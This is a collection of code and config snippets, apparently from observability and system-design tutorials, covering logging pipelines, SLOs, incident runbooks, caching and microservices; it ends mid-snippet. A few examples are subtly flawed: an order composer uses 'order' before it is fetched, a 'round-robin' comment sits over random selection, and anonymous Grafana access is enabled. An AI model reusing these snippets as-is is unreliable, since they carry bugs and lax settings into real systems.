const analysis = {
  errorRate: canary.errors / canary.requests,
  errorIncrease: (canary.errors / canary.requests) -
                 (baseline.errors / baseline.requests),
  p95Latency: canary.p95,
  latencyIncrease: canary.p95 - baseline.p95
};

if (analysis.errorIncrease > 0.01 || analysis.latencyIncrease > 100) {
  rollback();
} else {
  promote();
}

Applications → Filebeat/Fluentd → Logstash → Elasticsearch → Kibana
                                      ↓
                                  Filtering
                                  Enrichment

input {
  beats {
    port => 5044
  }
}

filter {
  # Parse JSON logs
  json {
    source => "message"
  }

  # Extract fields from message
  grok {
    match => { "message" => "%{COMBINEDAPACHELOG}" }
  }

  # Add geolocation
  geoip {
    source => "client_ip"
  }

  # Parse timestamps
  date {
    match => [ "timestamp", "ISO8601" ]
    target => "@timestamp"
  }

  # Add custom fields
  mutate {
    add_field => {
      "environment" => "production"
      "indexed_at" => "%{@timestamp}"
    }
    remove_field => ["temp_field"]
  }
}

output {
  elasticsearch {
    hosts => ["elasticsearch:9200"]
    index => "logs-%{+YYYY.MM.dd}"
  }
}

# Simple field match
status: 500

# Boolean operators
status: 500 AND service: api

# Wildcards
message: *timeout*

# Range queries
response_time >= 1000

# Exists query
_exists_: error.stack

# Time range
@timestamp >= "2025-01-15T00:00:00"

# Aggregations
service: api | stats count() by status_code

Applications → Promtail → Loki → Grafana
                ↓
          Log files

server:
  http_listen_port: 9080
  grpc_listen_port: 0

positions:
  filename: /tmp/positions.yaml

clients:
  - url: http://loki:3100/loki/api/v1/push

scrape_configs:
  - job_name: system
    static_configs:
      - targets:
          - localhost
        labels:
          job: varlogs
          __path__: /var/log/*.log

  - job_name: containers
    docker_sd_configs:
      - host: unix:///var/run/docker.sock
        refresh_interval: 5s
    relabel_configs:
      - source_labels: ['__meta_docker_container_name']
        regex: '/(.*)'
        target_label: 'container'
      - source_labels: ['__meta_docker_container_log_stream']
        target_label: 'stream'

# Stream selector
{service="api", environment="production"}

# Filter by content
{service="api"} |= "error"
{service="api"} != "health"

# JSON parsing
{service="api"} | json | status_code >= 500

# Pattern matching
{service="api"} |~ "timeout|deadline"

# Rate queries
rate({service="api"}[5m])

# Count over time
count_over_time({service="api", level="error"}[1h])

# Aggregation
sum(rate({service="api"}[5m])) by (status_code)

const shouldLog = (level, req) => {
  // Always log errors
  if (level === 'error' || level === 'fatal') {
    return true;
  }

  // Always log important endpoints
  if (req.path.startsWith('/api/payment')) {
    return true;
  }

  // Sample 10% of info logs
  if (level === 'info') {
    return Math.random() < 0.1;
  }

  // Sample 1% of debug logs
  return Math.random() < 0.01;
};

if (shouldLog('info', req)) {
  logger.info({ req }, 'Request processed');
}

class LogBuffer {
  constructor() {
    this.buffer = [];
    this.maxSize = 1000;
  }

  add(logEntry) {
    this.buffer.push(logEntry);

    if (this.buffer.length > this.maxSize) {
      this.flush();
    }
  }

  flush() {
    const hasErrors = this.buffer.some(log => log.level === 'error');
    const isSlow = this.buffer.some(log => log.duration > 1000);

    if (hasErrors || isSlow) {
      // Send all logs for this request
      this.sendLogs(this.buffer);
    } else {
      // Sample 1% of normal requests
      if (Math.random() < 0.01) {
        this.sendLogs(this.buffer);
      }
    }

    this.buffer = [];
  }
}

class AdaptiveLogSampler {
  constructor() {
    this.errorRate = 0;
    this.baseRate = 0.01;
  }

  getSampleRate(level) {
    if (level === 'error' || level === 'fatal') {
      return 1.0; // 100%
    }

    // Increase sampling during high error rates
    if (this.errorRate > 0.05) {
      return 0.5; // 50%
    }

    if (this.errorRate > 0.01) {
      return 0.1; // 10%
    }

    return this.baseRate; // 1%
  }

  updateErrorRate(rate) {
    this.errorRate = rate;
  }
}

Service A ──┐
Service B ──┼──→ Log Aggregator → Storage → Analysis
Service C ──┘

Edge Logs → Regional Aggregator → Central Storage
                                      ↓
                                  Archive (S3)

High-value logs → Real-time (Loki/ES)
All logs → Cold storage (S3)

const { NodeSDK } = require('@opentelemetry/sdk-node');
const { getNodeAutoInstrumentations } = require('@opentelemetry/auto-instrumentations-node');
const { JaegerExporter } = require('@opentelemetry/exporter-jaeger');
const { ZipkinExporter } = require('@opentelemetry/exporter-zipkin');

const sdk = new NodeSDK({
  serviceName: 'my-service',
  traceExporter: new JaegerExporter({
    endpoint: 'http://jaeger:14268/api/traces',
  }),
  instrumentations: [getNodeAutoInstrumentations()],
});

sdk.start();

Client → Agent → Collector → Storage (Cassandra/ES) → UI

Detection → Response → Resolution → Postmortem

// Automated detection
if (errorRate > SLO_THRESHOLD) {
  incident.create({
    severity: 'critical',
    title: 'High error rate detected',
    affected_service: 'api-gateway',
    metrics: {
      current_error_rate: errorRate,
      threshold: SLO_THRESHOLD
    }
  });
}

# Incident response runbook
steps:
  1. Acknowledge alert
  2. Check dashboard: https://grafana.company.com/d/incident
  3. Review recent deployments
  4. Check dependencies status
  5. Enable debug logging if needed
  6. Communicate in #incidents channel

# Incident Postmortem: [Title]

## Summary
Brief description of what happened

## Impact
- Duration: 2 hours 15 minutes
- Affected users: ~15% of traffic
- Revenue impact: $XX,XXX
- Service: api-gateway

## Timeline (all times UTC)
- 14:00 - Deploy v2.3.4 to production
- 14:05 - Error rate increases to 5%
- 14:08 - PagerDuty alert triggers
- 14:10 - On-call engineer starts investigation
- 14:20 - Root cause identified: DB connection pool exhausted
- 14:25 - Decision to rollback
- 14:30 - Rollback initiated
- 14:35 - Service recovered
- 15:00 - Confirmed stable

## Root Cause
Database connection pool size was too small for new traffic pattern.
New feature made 3x more DB calls per request than expected.

## Resolution
1. Rolled back to v2.3.3
2. Increased connection pool size
3. Re-deployed with fix

## What Went Well
- Alert triggered within 3 minutes
- Clear runbooks enabled fast response
- Communication was effective
- Rollback process worked smoothly

## What Went Wrong
- Connection pool not load tested
- No gradual rollout (canary)
- Missing query count metrics
- Load tests didn't simulate production pattern

## Action Items
- [ ] Add connection pool metrics (@alice, 2025-01-20)
- [ ] Implement canary deployments (@bob, 2025-01-25)
- [ ] Add query count per request metric (@charlie, 2025-01-22)
- [ ] Update load test scenarios (@dave, 2025-01-30)
- [ ] Document DB connection tuning (@eve, 2025-01-23)

## Lessons Learned
- Always canary deploy
- Monitor connection pools
- Load test with production-like data

rotation:
  primary: 7 days
  secondary: 7 days
  handoff: Monday 10:00 AM

responsibilities:
  - Respond to pages within 15 minutes
  - Investigate and mitigate incidents
  - Write postmortems
  - Update runbooks

compensation:
  - Shift differential
  - Time off in lieu
  - Rotation credits

# Runbook: High API Error Rate

## Symptoms
- Alert: "High error rate on api-gateway"
- Dashboard: Error rate > 5%
- User impact: API requests failing

## Severity
Critical (user-facing)

## Diagnosis
1. Check Grafana dashboard:
   https://grafana.company.com/d/api-errors

2. Query recent errors:

3. Check recent deployments:
```bash
kubectl rollout history deployment/api-gateway

kubectl rollout undo deployment/api-gateway

# Check connection pool
kubectl exec -it api-gateway-xxx -- curl localhost:9090/metrics | grep db_connections

# Scale up if needed
kubectl scale deployment/api-gateway --replicas=10

# Enable circuit breaker
kubectl set env deployment/api-gateway CIRCUIT_BREAKER_ENABLED=true

### Alerting Integration

#### PagerDuty Integration
```javascript
const { PagerDutyClient } = require('pagerduty-client');

const pd = new PagerDutyClient({
  integrationKey: process.env.PD_INTEGRATION_KEY
});

async function triggerIncident(alert) {
  await pd.sendEvent({
    event_action: 'trigger',
    payload: {
      summary: alert.title,
      severity: alert.severity,
      source: alert.source,
      custom_details: {
        error_rate: alert.metrics.error_rate,
        threshold: alert.threshold,
        dashboard: alert.dashboard_url
      }
    },
    links: [
      {
        href: alert.dashboard_url,
        text: 'View Dashboard'
      },
      {
        href: alert.runbook_url,
        text: 'View Runbook'
      }
    ]
  });
}

const opsgenie = require('opsgenie-sdk');

const client = new opsgenie.AlertApi({
  apiKey: process.env.OPSGENIE_API_KEY
});

async function createAlert(alert) {
  await client.createAlert({
    message: alert.title,
    description: alert.description,
    priority: alertSeverityToPriority(alert.severity),
    tags: [alert.service, alert.environment],
    details: {
      error_rate: alert.metrics.error_rate,
      affected_users: alert.affected_users
    },
    responders: [
      { type: 'team', name: 'Backend Team' }
    ],
    actions: ['View Dashboard', 'View Logs'],
    entity: alert.service,
    source: 'Prometheus'
  });
}

function alertSeverityToPriority(severity) {
  const map = {
    critical: 'P1',
    high: 'P2',
    medium: 'P3',
    low: 'P4',
    info: 'P5'
  };
  return map[severity] || 'P3';
}

SLA (Agreement)
  ↓ commits to
SLO (Objective)
  ↓ measured by
SLI (Indicator)
  ↓ tracked via
Metrics

// Availability SLI: % of successful requests
const availabilitySLI = successfulRequests / totalRequests;

// Latency SLI: % of requests faster than threshold
const latencySLI = requestsFasterThan200ms / totalRequests;

// Throughput SLI: Requests per second
const throughputSLI = totalRequests / timeWindowSeconds;

// Quality SLI: % of requests without data loss
const qualitySLI = requestsWithoutDataLoss / totalRequests;

# Availability SLI: 99.9% of requests succeed
sum(rate(http_requests_total{status!~"5.."}[30d])) /
sum(rate(http_requests_total[30d]))

# Latency SLI: 95% of requests complete in < 200ms
sum(rate(http_request_duration_seconds_bucket{le="0.2"}[30d])) /
sum(rate(http_request_duration_seconds_count[30d]))

# Quality SLI: 99.99% of writes are durable
sum(rate(db_writes_durable[30d])) /
sum(rate(db_writes_total[30d]))

Current: 99.5% availability
Target: 99.9% availability (achievable stretch)

# API Gateway SLOs
slos:
  - name: availability
    description: "API requests succeed"
    target: 99.9%
    window: 30d
    sli: |
      sum(rate(http_requests_total{status!~"5.."}[30d])) /
      sum(rate(http_requests_total[30d]))

  - name: latency_p95
    description: "95% of requests < 200ms"
    target: 95%
    window: 30d
    sli: |
      sum(rate(http_request_duration_seconds_bucket{le="0.2"}[30d])) /
      sum(rate(http_request_duration_seconds_count[30d]))

  - name: latency_p99
    description: "99% of requests < 1s"
    target: 99%
    window: 30d
    sli: |
      sum(rate(http_request_duration_seconds_bucket{le="1.0"}[30d])) /
      sum(rate(http_request_duration_seconds_count[30d]))

# Check SLO compliance over multiple time windows
windows:
  - 1h    # Fast feedback
  - 24h   # Daily
  - 7d    # Weekly
  - 30d   # Monthly (official)

SLO (Internal): 99.9% availability
  ↓ (set stricter than SLA)
SLA (External): 99.5% availability
  ↓ (with penalties if breached)
Customer expectation met

service_level_agreement:
  service: "API Platform"
  customer: "Enterprise Tier"
  effective_date: "2025-01-01"

  commitments:
    - metric: "Monthly Uptime"
      target: 99.5%
      measurement: |
        (total_minutes - downtime_minutes) / total_minutes
      measurement_period: calendar_month

    - metric: "API Response Time"
      target: "95% of requests < 500ms"
      measurement_period: calendar_month

  consequences:
    - threshold: "< 99.5%"
      credit: "10% monthly fee"
    - threshold: "< 99.0%"
      credit: "25% monthly fee"
    - threshold: "< 95.0%"
      credit: "100% monthly fee"

  exclusions:
    - "Customer-caused issues"
    - "Scheduled maintenance (with 7-day notice)"
    - "Force majeure events"
    - "Third-party service failures"

  measurement:
    source: "Prometheus metrics"
    dashboard: "https://status.company.com"
    review: "Monthly"

// For 99.9% availability SLO over 30 days
const sloTarget = 0.999;
const errorBudget = 1 - sloTarget; // 0.001 = 0.1%

// In time
const totalMinutesPerMonth = 30 * 24 * 60; // 43,200 minutes
const allowedDowntime = totalMinutesPerMonth * errorBudget; // 43.2 minutes

// In requests
const totalRequests = 10_000_000;
const allowedErrors = totalRequests * errorBudget; // 10,000 errors

# Error budget remaining (%)
(
  1 - (
    (1 - availability_sli) / (1 - availability_slo_target)
  )
) * 100

# Example: Current availability = 99.95%, Target = 99.9%
# Error budget used = (1 - 0.9995) / (1 - 0.999) = 50%
# Error budget remaining = 50%

# How fast are we consuming error budget?
# 1.0 = consuming at exactly SLO rate
# 2.0 = consuming twice as fast (will exhaust in 15 days)
# 0.5 = consuming half as fast (will last 60 days)

burn_rate = (1 - current_availability) / (1 - slo_target)

# Alert on high burn rate
burn_rate > 2.0  # Consuming budget too fast

error_budget_policy:
  when_budget_remaining:
    - range: "100% - 50%"
      action: "Normal development pace"
      deployments: "Multiple per day"
      features: "Ship new features"

    - range: "50% - 25%"
      action: "Caution mode"
      deployments: "Daily deploys only"
      features: "Prioritize reliability"

    - range: "25% - 0%"
      action: "Freeze mode"
      deployments: "Emergency fixes only"
      features: "All hands on reliability"

    - range: "< 0%"
      action: "SLO breach"
      deployments: "Halted"
      features: "Postmortem required"
      notification: "Leadership escalation"

// Identify what matters to users
const userExperienceSLIs = {
  // Can they access the service?
  availability: true,

  // Is it fast enough?
  latency: true,

  // Is data correct?
  quality: true,

  // Are actions completed?
  throughput: false // Nice-to-have, not critical
};

// Instrument to measure SLIs
const sliMetrics = {
  total: new Counter('requests_total'),
  success: new Counter('requests_success'),
  latency: new Histogram('request_duration_seconds', {
    buckets: [0.1, 0.2, 0.5, 1.0, 2.0, 5.0]
  })
};

app.use((req, res, next) => {
  const start = Date.now();

  res.on('finish', () => {
    sliMetrics.total.inc();

    if (res.statusCode < 500) {
      sliMetrics.success.inc();
    }

    const duration = (Date.now() - start) / 1000;
    sliMetrics.latency.observe(duration);
  });

  next();
});

# Start conservative, iterate
initial_slo:
  availability: 99.0%   # Easy to achieve
  latency_p95: 500ms    # Comfortable target

after_3_months:
  availability: 99.5%   # Tighten based on data
  latency_p95: 300ms

after_6_months:
  availability: 99.9%   # Final target
  latency_p95: 200ms

# Prometheus alert
groups:
  - name: slo_alerts
    rules:
      - alert: SLOViolation_Availability
        expr: |
          (
            sum(rate(http_requests_total{status!~"5.."}[30d])) /
            sum(rate(http_requests_total[30d]))
          ) < 0.999
        for: 1h
        annotations:
          summary: "Availability SLO violated"
          description: "Current: {{ $value }}, Target: 0.999"

      - alert: ErrorBudgetExhausted
        expr: |
          (
            1 - (
              (1 - availability_sli) / (1 - 0.999)
            )
          ) < 0
        annotations:
          summary: "Error budget exhausted"
          description: "Stop feature development, focus on reliability"

// Weekly SLO report
const sloReport = {
  week: '2025-W03',
  slos: [
    {
      name: 'availability',
      target: 99.9,
      actual: 99.95,
      status: 'met',
      error_budget_remaining: 50
    },
    {
      name: 'latency_p95',
      target: 200,
      actual: 185,
      status: 'met',
      error_budget_remaining: 75
    }
  ],
  incidents: [
    {
      date: '2025-01-15',
      duration: '15 minutes',
      impact: 'Used 10% of error budget',
      root_cause: 'Database connection pool exhausted'
    }
  ],
  actions: [
    'Increase DB connection pool size',
    'Add connection pool monitoring',
    'Update runbook'
  ]
};

// Grafana dashboard configuration
const sloDashboard = {
  title: 'SLO Dashboard',
  panels: [
    {
      title: 'Availability - Last 30 Days',
      query: `
        sum(rate(http_requests_total{status!~"5.."}[30d])) /
        sum(rate(http_requests_total[30d])) * 100
      `,
      target: 99.9,
      visualization: 'gauge'
    },
    {
      title: 'Error Budget Remaining',
      query: `
        (1 - ((1 - availability_sli) / (1 - 0.999))) * 100
      `,
      visualization: 'gauge',
      thresholds: {
        green: [50, 100],
        yellow: [25, 50],
        red: [0, 25]
      }
    },
    {
      title: 'Error Budget Burn Rate',
      query: `
        (1 - availability_sli) / (1 - 0.999)
      `,
      visualization: 'graph',
      alert_threshold: 2.0
    },
    {
      title: 'SLO Compliance - 30 Day Rolling',
      query: `
        avg_over_time(availability_sli[30d])
      `,
      visualization: 'graph',
      bands: [
        { min: 99.9, max: 100, color: 'green', label: 'Above SLO' },
        { min: 0, max: 99.9, color: 'red', label: 'Below SLO' }
      ]
    }
  ]
};

99% = 7.2 hours downtime/month = OK for internal tools
99.9% = 43 minutes downtime/month = Good for most services
99.95% = 22 minutes downtime/month = Great for critical services
99.99% = 4 minutes downtime/month = Extremely expensive
99.999% = 26 seconds downtime/month = Reserved for critical infrastructure

# What changed recently?
git log --since="2 hours ago" --oneline

# When did it start?
# Check metrics dashboard for inflection point

# What's the scope?
# All users? Specific region? Specific feature?

Theory: Database connection pool exhausted
Evidence needed:
  - Connection pool metrics
  - Database query latency
  - Error messages mentioning connections

# Check connection pool
curl http://api:9090/metrics | grep db_pool

# Check database
kubectl logs -l app=api --tail=100 | grep -i connection

# Check traces for slow DB queries
# Jaeger UI: Filter by service=api, minDuration=1000ms

# Quick fix: Scale up
kubectl scale deployment/api --replicas=10

# Better fix: Increase pool size
kubectl set env deployment/api DB_POOL_SIZE=50

# Check error rate returned to normal
curl -s http://prometheus:9090/api/v1/query?query='error_rate' | jq .

# Check latency
curl -s http://prometheus:9090/api/v1/query?query='p95_latency' | jq .

# Attach debugger to running container (Node.js)
kubectl exec -it api-gateway-xxx -- kill -USR1 1
kubectl port-forward api-gateway-xxx 9229:9229
# Chrome DevTools: chrome://inspect

# Python
kubectl exec -it api-gateway-xxx -- python -m pdb app.py

# Go (requires delve)
kubectl exec -it api-gateway-xxx -- dlv attach $(pidof app)

// Enable debug logs for specific user
app.use((req, res, next) => {
  if (req.headers['x-debug-user'] === 'user_123') {
    req.log = logger.child({ level: 'debug' });
  }
  next();
});

// Enable via feature flag
if (featureFlags.isEnabled('debug-logging', userId)) {
  logger.level = 'debug';
}

# Capture traffic with tcpdump
tcpdump -i eth0 -w capture.pcap port 8080

# Replay with tcpreplay
tcpreplay --topspeed -i eth0 capture.pcap

# Or use gor for more control
gor --input-raw :8080 --output-http="http://staging:8080"

// Add query explanation
const explain = await db.query('EXPLAIN ANALYZE ' + sqlQuery);
logger.info({ explain }, 'Query plan');

// Log slow queries
const start = Date.now();
const result = await db.query(sqlQuery);
const duration = Date.now() - start;

if (duration > 1000) {
  logger.warn({
    query: sqlQuery,
    duration,
    rows: result.rowCount
  }, 'Slow query detected');
}

// Detect memory leaks
const heapdump = require('heapdump');

setInterval(() => {
  const usage = process.memoryUsage();
  logger.info({ memory: usage }, 'Memory usage');

  if (usage.heapUsed > THRESHOLD) {
    heapdump.writeSnapshot(`/tmp/heap-${Date.now()}.heapsnapshot`);
  }
}, 60000);

// Analyze with Chrome DevTools

// Track connection lifecycle
class ConnectionPool {
  constructor() {
    this.active = new Set();
  }

  async acquire() {
    const conn = await this.pool.acquire();
    this.active.add(conn);
    conn._acquiredAt = Date.now();
    return conn;
  }

  release(conn) {
    this.active.delete(conn);
    this.pool.release(conn);
  }

  checkLeaks() {
    const now = Date.now();
    for (const conn of this.active) {
      if (now - conn._acquiredAt > 30000) {
        logger.warn({
          age: now - conn._acquiredAt,
          stack: conn._stack
        }, 'Potential connection leak');
      }
    }
  }
}

// Add request tracing
const traceRequest = (req, res, next) => {
  req.id = generateId();
  req.startTime = Date.now();

  logger.info({
    req_id: req.id,
    method: req.method,
    path: req.path
  }, 'Request start');

  res.on('finish', () => {
    logger.info({
      req_id: req.id,
      duration: Date.now() - req.startTime,
      status: res.statusCode
    }, 'Request end');
  });

  next();
};

# Metrics
prometheus:
  image: prom/prometheus
  volumes:
    - ./prometheus.yml:/etc/prometheus/prometheus.yml
  ports:
    - 9090:9090

# Visualization
grafana:
  image: grafana/grafana
  ports:
    - 3000:3000
  environment:
    - GF_AUTH_ANONYMOUS_ENABLED=true

# Logs
loki:
  image: grafana/loki
  ports:
    - 3100:3100

# Traces
jaeger:
  image: jaegertracing/all-in-one
  ports:
    - 16686:16686  # UI
    - 14268:14268  # Collector

# Collector
otel-collector:
  image: otel/opentelemetry-collector
  volumes:
    - ./otel-config.yaml:/etc/otel-collector-config.yaml

✓ Data retention policies
✓ Query performance
✓ Cost at scale
✓ Integration ecosystem
✓ Team expertise
✓ Vendor lock-in
✓ SLA guarantees
✓ Support quality

Daily:
  - Check dashboards
  - Review overnight alerts
  - Triage new issues

Weekly:
  - Alert review (remove noise)
  - Incident retrospectives
  - Dashboard improvements

Monthly:
  - SLO review
  - Cost optimization
  - Tool evaluation
  - Training sessions

Quarterly:
  - Observability roadmap
  - Platform upgrades
  - Process improvements

const observabilityKPIs = {
  // Detection
  meanTimeToDetect: 'MTTD',      // How fast we notice issues

  // Investigation
  meanTimeToUnderstand: 'MTTU',  // How fast we understand root cause

  // Resolution
  meanTimeToResolve: 'MTTR',     // How fast we fix issues

  // Prevention
  changeFailureRate: 'CFR',      // % of changes causing issues
  deploymentFrequency: 'DF'      // How often we can deploy
};

// Track improvement over time
// Before observability: MTTR = 4 hours
// After observability: MTTR = 20 minutes

Downtime cost reduction:
  Before: 10 hours/month × $10k/hour = $100k/month
  After:  2 hours/month × $10k/hour = $20k/month
  Savings: $80k/month

Development efficiency:
  Faster debugging: 5 hours/week × 10 engineers = 50 hours
  Value: $10k/month

Total value: $90k/month
Tool cost: $5k/month
ROI: 18x

1 machine: 8 cores, 32GB RAM
→ Upgrade to: 16 cores, 128GB RAM

Machine 1: Handle requests
Machine 2: Handle requests
Machine 3: Handle requests
↓ Load Balancer ↓
     Clients

    Client Request
         ↓
   ┌─ Load Balancer ─┐
   ↓        ↓        ↓
Server1  Server2  Server3

      Master (R/W)
      ↙    ↓    ↘
   Slave1 Slave2 Slave3 (R only)

Shard 1: Users 1-1M
Shard 2: Users 1M-2M
Shard 3: Users 2M-3M

By User ID % 3 → Route to correct shard

Client Request
     ↓
Check Cache (fast)
  ↓ miss ↓ hit
Database → Client
(slow)

User in Asia → Asia CDN Server (fast)
User in US → US CDN Server (fast)

Request → Queue → Worker Pool → Database
(fast)              (slow processing)

Write (slow): Direct to master
Read (fast): From replicas

L1: Browser cache (browser memory)
  ↓
L2: CDN cache (edge servers)
  ↓
L3: Application cache (Redis)
  ↓
L4: Database cache (MySQL buffer pool)
  ↓
Database (disk, slowest)

1. Check cache
2. If miss: Load from database
3. Store in cache
4. Return to client

def get_user(user_id):
    # Check cache
    cached = redis.get(f"user:{user_id}")
    if cached:
        return cached

    # Load from DB
    user = db.get_user(user_id)

    # Store in cache
    redis.set(f"user:{user_id}", user, ex=3600)

    return user

Update Request
  ↓
Cache ← updated
  ↓
Database ← updated

Update Request
  ↓
Cache ← updated (fast)
  ↓
Queue for DB
  ↓
Database ← updated (later)

redis.set("key", value, ex=3600)  # Expires in 1 hour

def update_user(user_id, data):
    db.update_user(user_id, data)
    redis.delete(f"user:{user_id}")  # Invalidate

[recent] A B C D E [old]
Remove E if memory full

import redis

cache = redis.Redis(host='localhost', port=6379)

# Set
cache.set('key', 'value')
cache.setex('key', 3600, 'value')  # With TTL

# Get
value = cache.get('key')

# Delete
cache.delete('key')

# Multi-key
cache.mget(['key1', 'key2', 'key3'])

3 requests arrive
Cache expired for key X
All 3 hit database (thundering herd)

def get_cached(key):
    value = cache.get(key)
    if value:
        return value

    if cache.get(f"{key}:lock"):
        # Wait, someone loading
        return wait_for_cache(key)

    # Set lock, load data
    cache.set(f"{key}:lock", "1", ex=5)
    value = load_from_db(key)
    cache.set(key, value)
    cache.delete(f"{key}:lock")
    return value

cache.set(f"user:{id}", None, ex=60)

ttl = 3600 + random(0, 600)
cache.set(key, value, ex=ttl)

// service.proto
service Calculator {
  rpc Add(Numbers) returns (Result);
}

message Numbers {
  int32 a = 1;
  int32 b = 2;
}

message Result {
  int32 value = 1;
}

// Request
{
  "jsonrpc": "2.0",
  "method": "add",
  "params": {"a": 5, "b": 3},
  "id": 1
}

// Response
{
  "jsonrpc": "2.0",
  "result": 8,
  "id": 1
}

❌ Monolith: One service handles users, orders, payments, inventory
✅ Microservices:
   - User Service: Authentication, profiles
   - Order Service: Order management
   - Payment Service: Payment processing
   - Inventory Service: Stock management

// Each service has its own database
User Service → Users DB (PostgreSQL)
Order Service → Orders DB (MongoDB)
Inventory Service → Inventory DB (MySQL)

// Services handle business logic
// Communication uses simple protocols (HTTP, AMQP)

// Circuit breakers
// Retries
// Fallbacks
// Timeouts

// Bounded Contexts
Order Context {
  - Order
  - OrderItem
  - OrderStatus
}

User Context {
  - User
  - Profile
  - Authentication
}

Payment Context {
  - Payment
  - Transaction
  - PaymentMethod
}

// Small enough to:
// - Be maintained by a small team (2-pizza team)
// - Be rewritten in 2-4 weeks
// - Have a clear purpose

// Large enough to:
// - Provide business value
// - Minimize inter-service communication
// - Have a clear domain boundary

order-service/
├── src/
│   ├── api/
│   │   ├── routes/
│   │   └── controllers/
│   ├── domain/
│   │   ├── models/
│   │   └── services/
│   ├── infrastructure/
│   │   ├── database/
│   │   └── messaging/
│   ├── config/
│   └── main.ts
├── tests/
├── Dockerfile
├── package.json
└── README.md

// order-service/userClient.js
const axios = require('axios');

class UserServiceClient {
  constructor(baseURL) {
    this.client = axios.create({
      baseURL: baseURL || process.env.USER_SERVICE_URL,
      timeout: 5000
    });
  }

  async getUser(userId) {
    try {
      const response = await this.client.get(`/users/${userId}`);
      return response.data;
    } catch (error) {
      if (error.code === 'ECONNABORTED') {
        throw new Error('User service timeout');
      }
      throw error;
    }
  }
}

// Usage in order service
async function createOrder(orderData) {
  const userClient = new UserServiceClient();
  const user = await userClient.getUser(orderData.userId);

  if (!user) {
    throw new Error('User not found');
  }

  // Create order logic...
}

// order-service/publisher.js
const { Kafka } = require('kafkajs');

const kafka = new Kafka({
  clientId: 'order-service',
  brokers: ['kafka:9092']
});

const producer = kafka.producer();

async function publishOrderCreated(order) {
  await producer.send({
    topic: 'order.created',
    messages: [{
      key: `order:${order.id}`,
      value: JSON.stringify({
        orderId: order.id,
        userId: order.userId,
        items: order.items,
        total: order.total,
        timestamp: Date.now()
      })
    }]
  });
}

// inventory-service/consumer.js
const consumer = kafka.consumer({
  groupId: 'inventory-service'
});

async function start() {
  await consumer.subscribe({ topic: 'order.created' });

  await consumer.run({
    eachMessage: async ({ message }) => {
      const order = JSON.parse(message.value.toString());

      console.log('Reserving inventory for order:', order.orderId);

      await reserveInventory(order.items);

      // Publish inventory.reserved event
      await publishInventoryReserved(order.orderId);
    }
  });
}

// api-gateway/orderComposer.js
class OrderComposer {
  constructor(userService, orderService, inventoryService) {
    this.userService = userService;
    this.orderService = orderService;
    this.inventoryService = inventoryService;
  }

  async getOrderDetails(orderId) {
    // Parallel requests
    const [order, user, inventory] = await Promise.all([
      this.orderService.getOrder(orderId),
      this.userService.getUser(order.userId),
      this.inventoryService.checkAvailability(order.items)
    ]);

    return {
      order,
      user: {
        id: user.id,
        name: user.name,
        email: user.email
      },
      inventory
    };
  }
}

// service-registry.js
class ServiceRegistry {
  constructor() {
    this.services = new Map();
  }

  register(serviceName, instance) {
    if (!this.services.has(serviceName)) {
      this.services.set(serviceName, []);
    }
    this.services.get(serviceName).push(instance);
  }

  discover(serviceName) {
    const instances = this.services.get(serviceName) || [];
    if (instances.length === 0) {
      throw new Error(`No instances available for ${serviceName}`);
    }
    // Round-robin load balancing
    return instances[Math.floor(Math.random() * instances.length)];
  }
}

// Usage
const registry = new ServiceRegistry();
registry.register('user-service', { host: 'localhost', port: 3001 });
registry.register('user-service', { host: 'localhost', port: 3002 });

const instance = registry.discover('user-service');

const Consul = require('consul');

const consul = new Consul({
  host: 'consul-server',
  port: 8500
});

// Register service
async function registerService() {
  await consul.agent.service.register({
    name: 'order-service',
    id: `order-service-${process.env.INSTANCE_ID}`,
    address: process.env.SERVICE_HOST,
    port: parseInt(process.env.SERVICE_PORT),
    check: {
      http: `http://${process.env.SERVICE_HOST}:${process.env.SERVICE_PORT}/health`,
      interval: '10s'
    }
  });
}

// Discover service
async function discoverService(serviceName) {
  const result = await consul.health.service({
    service: serviceName,
    passing: true
  });

  const instances = result.map(item => ({
    address: item.Service.Address,
    port: item.Service.Port
  }));

  return instances;
}

const express = require('express');
const proxy = require('express-http-proxy');

const app = express();

// Service URLs
const USER_SERVICE = process.env.USER_SERVICE_URL;
const ORDER_SERVICE = process.env.ORDER_SERVICE_URL;
const PRODUCT_SERVICE = process.env.PRODUCT_SERVICE_URL;

// Authentication middleware
app.use(async (req, res, next) => {
  const token = req.headers.authorization;

  if (!token) {
    return res.status(401).json({ error: 'Unauthorized' });
  }

  try {
    const user = await verifyToken(token);
    req.user = user;
    next();
  } catch (error) {
    res.status(401).json({ error: 'Invalid token' });
  }
});

// Rate limiting
const rateLimit = require('express-rate-limit');

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  max: 100
});

app.use(limiter);

// Route to services
app.use('/api/users', proxy(USER_SERVICE));
app.use('/api/orders', proxy(ORDER_SERVICE));
app.use('/api/products', proxy(PRODUCT_SERVICE));

// Aggregation endpoint
app.get('/api/dashboard', async (req, res) => {
  try {
    const [user, orders, recommendations] = await Promise.all([
      axios.get(`${USER_SERVICE}/users/${req.user.id}`),
      axios.get(`${ORDER_SERVICE}/users/${req.user.id}/orders`),
      axios.get(`${PRODUCT_SERVICE}/recommendations/${req.user.id}`)
    ]);

    res.json({
      user: user.data,
      recentOrders: orders.data,
      recommendations: recommendations.data
    });
  } catch (error) {
    res.status(500).json({ error: 'Failed to load dashboard' });
  }
});

app.listen(3000);

// Each service has its own database
services/
├── user-service/
│   └── database: PostgreSQL
├── order-service/
│   └── database: MongoDB
└── inventory-service/
    └── database: MySQL

// Order Service
async function createOrder(orderData) {
  const order = await Order.create({
    ...orderData,
    status: 'PENDING'
  });

  // Publish event
  await publishEvent('order.created', order);

  return order;
}

// Inventory Service
consumer.on('order.created', async (order) => {
  try {
    await reserveInventory(order.items);
    await publishEvent('inventory.reserved', { orderId: order.id });
  } catch (error) {
    await publishEvent('inventory.failed', {
      orderId: order.id,
      error: error.message
    });
  }
});

// Payment Service
consumer.on('inventory.reserved', async ({ orderId }) => {
  try {
    await processPayment(orderId);
    await publishEvent('payment.completed', { orderId });
  } catch (error) {
    await publishEvent('payment.failed', { orderId, error: error.message });
  }
});

// Order Service - Handle success/failure
consumer.on('payment.completed', async ({ orderId }) => {
  await Order.update({ id: orderId }, { status: 'CONFIRMED' });
});

consumer.on('payment.failed', async ({ orderId }) => {
  await Order.update({ id: orderId }, { status: 'CANCELLED' });
  await publishEvent('order.cancelled', { orderId });
});

// Inventory Service - Compensating transaction
consumer.on('order.cancelled', async ({ orderId }) => {
  await releaseInventory(orderId);
});

// Write Model (Commands)
class OrderWriteService {
  async createOrder(command) {
    const order = await Order.create(command);

    // Publish event
    await eventBus.publish('OrderCreated', {
